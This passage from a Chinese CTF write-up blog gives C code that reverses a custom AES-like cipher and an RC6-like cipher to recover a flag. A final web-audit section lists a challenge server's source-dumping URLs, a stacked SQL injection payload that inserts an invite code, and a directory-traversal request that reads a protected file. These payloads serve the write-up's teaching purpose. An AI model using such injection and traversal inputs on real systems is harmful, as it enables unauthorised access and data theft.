0xF0, 0x47, 0x72, 0x37, 0x97, 0x77, 0x6D, 0x98, 0x89, 0xA6, 0x40, 0x9A, 0x15, 0xB4, 0x76, 0x44,
0x4F, 0xC6, 0xE8, 0x9F, 0xB7, 0xA4, 0xF4, 0xE3, 0x88, 0x22, 0x9D, 0x79, 0x70, 0x59, 0x17, 0xDD,
0xC4, 0x7F, 0x1A, 0x53, 0xFC, 0x7E, 0x3C, 0xBE, 0x61, 0x0F, 0x12, 0xDA, 0x94, 0x42, 0xF9, 0x7A,
0x92, 0xE0, 0x16, 0x8E, 0xA0, 0x5E, 0xFA, 0x9E, 0xA3, 0xE1, 0x5F, 0x4D, 0xE2, 0x58, 0x4C, 0x7D,
0x28, 0xFE, 0xB9, 0xB6, 0x96, 0x49, 0x19, 0x8A, 0x84, 0x64, 0x93, 0x1C, 0x0D, 0xB1, 0x81, 0xAC,
0xD8, 0x99, 0xF3, 0xBC, 0x73, 0xC0, 0x27, 0xFB, 0x87, 0xED, 0x31, 0xEC, 0x14, 0xF1, 0x54, 0xB8,
0x74, 0x20, 0xCA, 0x23, 0xDB, 0x5A, 0x6C, 0x07, 0x63, 0x03, 0xD6, 0xDE, 0x2F, 0x08, 0x1E, 0x25,
0x86, 0x13, 0x41, 0xAA, 0x9B, 0xCE, 0xB3, 0x66, 0xAB, 0x6F, 0xE4, 0x8B, 0x1B, 0x0A, 0x5D, 0xE9,
0x6A, 0xC7, 0x56, 0xC8, 0x71, 0xD1, 0x30, 0xAE, 0xC5, 0x34, 0x48, 0x1D, 0xF7, 0xD9, 0xDC, 0x90,
0x7C, 0x26, 0xF5, 0x5C, 0xAF, 0xA1, 0x45, 0x2E, 0xC1, 0xFF, 0xA8, 0x11, 0x85, 0x80, 0xD4, 0x69,
0x83, 0x3E, 0x4B, 0x8D, 0xD5, 0x60, 0x35, 0x62, 0xF2, 0xD2, 0xF6, 0xCF, 0x4E, 0xEE, 0x65, 0x3A,
0xB5, 0xCC, 0x57, 0x52, 0x36, 0x3D, 0x10, 0x33, 0xD0, 0xD7, 0x29, 0x55, 0x7B, 0xEF, 0xA2, 0x02,
0xA7, 0xA9, 0x00, 0xBB, 0x38, 0x2B, 0xBF, 0x0C, 0xE6, 0x01, 0x78, 0x95, 0x82, 0x21, 0x51, 0xEB,
0xBA, 0xFD, 0x2A, 0xC2, 0x43, 0x6E, 0xCB, 0x05, 0xC9, 0x8C, 0x5B, 0x09, 0xB2, 0x0E, 0x50, 0x6B
};

void inverseMatrix(uint8_t *input, uint8_t *output)
{
for (int i = 0; i < 4; i++)
{
for (int j = 0; j < 4; j++)
{
output[i + 4 * j] = input[j + 4 * i];
}
}
}

void xorKey(uint8_t *data, char *key, int offset)
{
for (int i = 0; i < 4; i++)
{
data[i] ^= (uint8_t)key[16 * offset + 4 * i];
data[i + 4] ^= (uint8_t)key[16 * offset + 4 * i + 1];
data[i + 8] ^= (uint8_t)key[16 * offset + 4 * i + 2];
data[i + 12] ^= (uint8_t)key[16 * offset + 4 * i + 3];
}
}

void createInverseBOX()
{
uint8_t INV_DD_BOX[256];
for (int k = 0; k < 256; k++)
{
INV_DD_BOX[k] = 0;
}
for (int i = 0; i < 16; i++)
{
for (int j = 0; j < 16; j++)
{
INV_DD_BOX[DD_BOX[16 * i + j]] = i + 16 * j;
}
}

for (int k = 0; k < 256; k++)
{
printf("0x%02X,",INV_DD_BOX[k]);
}
}

void inv_shift_rows_DD(uint8_t *state) {
uint8_t temp;
for (int i = 1; i < 4; i++)
{
for (int j = 0; j < i; j++)
{
temp = state[4 * i];
for (int k = 0; k < 3;k++)
{
state[4 * i + k] = state[4 * i + k + 1];
}
state[4 * i + 3] = temp;
}
}
}

void boxTranslate(uint8_t *state)
{
for (int i = 0; i < 16; i++)
{
state[i] = INV_BOX_DD[state[i]];
}
}
uint8_t FFmul(uint8_t a, uint8_t b)
{
uint8_t bw[4];
uint8_t res = 0;
int i;
bw[0] = b; //b[0] b[1] b[2] b[4]
for (i = 1; i<4; i++){ //0x01 0x02 0x04 0x08
bw[i] = bw[i - 1] << 1;
if (bw[i - 1] & 0x80){
bw[i] ^= 0x1b;
}
}
for (i = 0; i<4; i++){
if ((a >> i) & 0x01){
res ^= bw[i];
}
}
return res;
}

void invMixColumn(uint8_t *state)
{
uint8_t mix[] = {
0x09, 0x0E, 0x0B, 0x0D,
0x0D, 0x09, 0x0E, 0x0B,
0x0B, 0x0D, 0x09, 0x0E,
0x0E, 0x0B, 0x0D, 0x09
};
uint8_t temp[4];
int r, c;
for (c = 0; c < 4; c++){
for (r = 0; r < 4; r++){
temp[r] = state[4 * r + c];
}
for (r = 0; r < 4; r++){
state[4 * r + c] = FFmul(0x03, temp[r])
^ FFmul(0x02, temp[(r + 1) % 4])
^ FFmul(0x01, temp[(r + 2) % 4])
^ FFmul(0x01, temp[(r + 3) % 4]);
}
}
}

int main2(int argc, char **argv)
{
uint8_t a = INV_BOX_DD[0x04];
uint8_t b = INV_BOX_DD[0xE4];
uint8_t c = INV_BOX_DD[0x4F];
uint8_t d = INV_BOX_DD[0x6A];

uint8_t test_mix[] = {
0x09, 0x0E, 0x0B, 0x0D,
0x0D, 0x09, 0x0E, 0x0B,
0x0B, 0x0D, 0x09, 0x0E,
0x0E, 0x0B, 0x0D, 0x09
};
uint8_t test_mix_2[] = {
0x0E, 0x0B, 0x0D, 0x09,
0x09, 0x0E, 0x0B, 0x0D,
0x0D, 0x09, 0x0E, 0x0B,
0x0B, 0x0D, 0x09, 0x0E
};
uint8_t test_mix_3[16];
inverseMatrix(test_mix, test_mix_3);
invMixColumn(test_mix_3);

char key[] = {
78, 83, 50, 48, 49, 55, 67, 77, 45, 68, 68, 67, 84, 70, 45, 0,
100, 105, 100, 105, 99, 104, 117, 120, 105, 110, 103, 46, 99, 111, 109, 0,
-29, -30, 42, -122, -46, -43, 105, -53, -1, -111, 45, -120, -85, -41, 0,
-120, 121, 90, 124, 10, 26, 50, 9, 114, 115, 92, 110, 92, 16, 51, 3,
92, 126, 115, -56, -86, -84, -90, -95, 97, 83, 55, -116, -23, -8, -32, -116,
97, -80, -3, 83, -12, -86, -49, 90, -122, -39, -109, 52, -38, -55, -96, 55,
-122, 16, -112, -92, 120, -68, 54, 5, 25, -17, 1, -119, -16, 23, -31, 5,
-111, 44, 84, 85, -25, -122, -101, 15, 97, 95, 8, 59, -69, -106, -88, 12,
61, -35, -108, -3, -53, 97, -94, -8, -46, -114, -93, 113, 34, -103, 66, 116,
-77, 67, 78, 38, -69, -59, -43, 41, -38, -102, -35, 18, 97, 12, 117, 30,
92, 13, -71, 31, -49, 108, 27, -25, 29, -30, -72, -106, 63, 123, -6, -30,
-116, -81, 21, 38, -108, 106, -64, 15, 78, -16, 29, 29, 47, -4, 104, 3,
115, -87, 40, -93, 125, -59, 51, 68, 96, 39, -117, -46, 95, 92, 113, 48,
-45, 77, -116, 105, -58, 39, 76, 102, -120, -41, 81, 123, -89, 43, 57, 120,
-44, -53, -81, -107, -25, 14, -100, -47, -121, 41, 23, 3, -40, 117, 102, 51, 11};

uint8_t test_xor_key[] = {
0x3C, 0x5A, 0xE0, 0x31,
0xF8, 0xC8, 0xE4, 0x2B,
0x55, 0xB9, 0xD5, 0x8B,
0xC1, 0x3E, 0x98, 0xDF
};
xorKey(test_xor_key, key, 1);

uint8_t target_hex[] = { 0xE8, 0xD8, 0xE2, 0xCE, 0xAF, 0x9D, 0xE0, 0x76, 0xA0, 0xF2, 0x11, 0xF5, 0xA1, 0x89, 0x53, 0x52 };

uint8_t test_target_hex[] = {
0x6E, 0xD2, 0x94, 0x11,
0xB9, 0x5F, 0x42, 0x33,
0xA6, 0x17, 0xFB, 0x46,
0xB8, 0x34, 0xCB, 0x5B
};
uint8_t test_expected_hex[] = {
0xF3, 0x77, 0xB3, 0x9D,
0x25, 0x90, 0x84, 0x14,
0xE0, 0x0E, 0xF2, 0x28,
0xD0, 0xE5, 0x4B, 0x6F
};
/*
0033F47C 9D B3 77 F3
0033F480 14 84 90 25
0033F484 28 F2 0E E0
0033F488 6F 4B E5 D0

0033F2D0 11 94 D2 6E
0033F2D4 33 42 5F B9
0033F2D8 46 FB 17 A6
0033F2DC 5B CB 34 B8
*/



uint8_t out16[16];
//inverseMatrix(test_target_hex, out16);
inverseMatrix(target_hex, out16);
xorKey(out16,key,0);
boxTranslate(out16);
inv_shift_rows_DD(out16);
for (int i = 1; i <= 13; i++)
{
invMixColumn(out16); //mix Column~
xorKey(out16, key, i);
boxTranslate(out16);
inv_shift_rows_DD(out16);
}
//createInverseBOX();
xorKey(out16, key, 14);

uint8_t result[16];
inverseMatrix(out16, result);

for (int k = 0; k < 4; k++)
{
printf("%02X", result[4 * k + 3]);
printf("%02X", result[4 * k + 2]);
printf("%02X", result[4 * k + 1]);
printf("%02X\n", result[4 * k]);
}
for (int k = 0; k < 16; k++)
{
printf("0x%02X,", result[k]);
}
return 0;
}

以上代码,我调试了许久,注释部分为我用OD调试过程中的Dump出测试样例。
得到第一部分解密结果:

1
{0xEBF0C8E3,0xF13FD27A,0x73D8C882,0x1849F483}

4. 类似RC6解密部分

查找0xB7E15163这个特殊值时,发现了RC6加密算法和这个特别相似,找了实现源码,参考写解密算法。
这部分有有两个函数:

1
2
sub_40A090((int)&v264, (int)&v17, 0x20u);  //生成加密密钥v264
sub_40A200((int)&v264, (int)v262, (int)&v263); //使用v264 和 输入的v262进行计算,得到4个int数,存在v263中。

第一个函数生成密钥部分,直接用OD将v264值取出来。因此,只需要逆向sub_40A200函数即可。通过阅读梳理,按照算法逆向即可。看着有些复杂,其关键部分只是几个循环左移和右移:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
B = *(_DWORD *)(data + 4);
D = *(_DWORD *)(data + 12);
C = *(_DWORD *)(data + 8) - *(_DWORD *)(key + 172);
A = *(_DWORD *)data - *(_DWORD *)(key + 168);
tmp_key = key + 164;
for ( i = 0; i < 20; ++i )
{
v3 = ((unsigned int)(A * (2 * C + 1)) >> 25) | (A * (2 * C + 1) << 7);
v4 = v3 ^ (((unsigned int)(B - *(_DWORD *)tmp_key) >> (32 - ((unsigned int)(C * (2 * A + 1)) >> 23))) | ((B - *(_DWORD *)tmp_key) << ((unsigned int)(C * (2 * A + 1)) >> 23)));
p_tmp_key = tmp_key - 4;
v6 = (((unsigned int)(C * (2 * A + 1)) >> 23) | (C * (2 * A + 1) << 9)) ^ (((unsigned int)(D - *(_DWORD *)p_tmp_key) >> (32 - (32 - v3))) | ((D - *(_DWORD *)p_tmp_key) << (32 - v3)));
tmp_key = p_tmp_key - 4;
v7 = v6;
D = C;
C = v4;
B = A;
A = v7;
}
c = D - *(_DWORD *)tmp_key;
a = B - *(_DWORD *)(tmp_key - 4);
*(_DWORD *)(result_1 + 12) = A;
*(_DWORD *)result_1 = a;
*(_DWORD *)(result_1 + 4) = C;
result = c;
*(_DWORD *)(result_1 + 8) = c;

参考RC6算法实现,key从内存中Dump出来,写逆向算法代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

uint32_t rotl32(uint32_t a, uint8_t n){ //循环左移
n &= 0x1f; /* higher rotates would not bring anything */
return ((a << n) | (a >> (32 - n)));
}

uint32_t rotr32(uint32_t a, uint8_t n){ //循环右移
n &= 0x1f; /* higher rotates would not bring anything */
return ((a >> n) | (a << (32 - n)));
}

void invRC_DD(uint32_t* key,uint32_t* enc)
{
uint32_t A, B, C, D;
uint32_t v7,v6,v4,v3;
A = enc[3];
B = enc[0] + key[0];
C = enc[1];
D = enc[2] + key[1];
for (int i = 1; i <= 20; i++)
{
v7 = A;
A = B;
v4 = C;
C = D;
v6 = v7;

v3 = rotl32((A*(2 * C + 1)),7);

D = rotl32((v6 ^ rotl32((C*(2*A+1)) ,9)),v3) + key[2*i];
B = rotr32((v3 ^ v4), (C*(2 * A + 1) >> 23)) + key[2 * i + 1];
}
uint32_t result[4];
result[0] = A + key[42];
result[1] = B;
result[2] = C + key[43];
result[3] = D;
for (int i = 0; i < 4; i++)
{
printf("%02x", *((uint8_t *)result + 4*i));
printf("%02x", *((uint8_t *)result + 4 * i + 1));
printf("%02x", *((uint8_t *)result + 4 * i + 2));
printf("%02x", *((uint8_t *)result + 4 * i + 3));
}
printf("\n");
}

int main()
{
uint32_t S_Key[44] = {
0x2814EC7D, 0x1B611631, 0x7549BD3C, 0x3B3B8413,
0x1B174D30, 0x0CFF21F0, 0x92468D9E, 0x7ABC7E30,
0xB03F22E8, 0x1CFEE63C, 0x6C9BC06E, 0xA4407C95,
0xC62C8D9D, 0x3F95133F, 0xF8ED7389, 0x77B7D30C,
0xD0E55D5C, 0xB6E787BE, 0x7248D12A, 0x9E64609F,
0x0497053D, 0x67858662, 0x8BEC0A8A, 0xF7D50EC8,
0x95B0B10A, 0x3FFD2B04, 0x0649A9CD, 0xF5371496,
0xBC9D00A8, 0x451CD070, 0xA683D591, 0x997A96FE,
0xE110CF92, 0xADBABD97, 0xE459E13B, 0x083F3948,
0x3647C0DA, 0x6D938367, 0xA82D8B40, 0x30B5AF76,
0x4FF5A6CA, 0x3AF80AAD, 0x9E0B866F, 0x1DEC408B
};
uint32_t data[4] = { 0x56ACB682, 0x8F4CB023, 0xFA293D82, 0x9C5C8773 };
uint32_t enc[4] = { 0x9DB377F3, 0x14849025, 0x28F20EE0, 0x6F4BE5D0 };
uint32_t target_enc[4] = { 0xEBF0C8E3, 0xF13FD27A, 0x73D8C882, 0x1849F483 };
invRC_DD(S_Key, enc);
invRC_DD(S_Key, target_enc);

return 0;
}

计算得到最终flag:93c65c807c3800b15f3600d449c64692 ~~

0x09 audit

这个Web题目当时没有做出来,记录下结束后复现的解题思路~ 首先这是个审计题目,有个test页面得到源码:

1
http://118.190.82.72/test/function/get_defined_functions  //这个php的特殊方法需要记住~

发现有show_source_code方法,得到源码:

1
http://118.190.82.72/test/function/show_source_code

发现可以执行多条SQL语句插入邀请码:

1
http://118.190.82.72/main/like?id=1';insert codes(code)Values(1)%23 //插入邀请码 1   执行多条语句~~

最后通过目录穿越读取flag:

1
2
POST http://118.190.82.72/user/planet
name=../protected/tmp/abeaf54418b288b9c3f3ee54f96c648d.1493563308.index_index.html
文章作者: angelwhu
文章链接: https://www.angelwhu.com/paper/2017/12/19/ddctf-2017-writeup/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 angelwhu_blog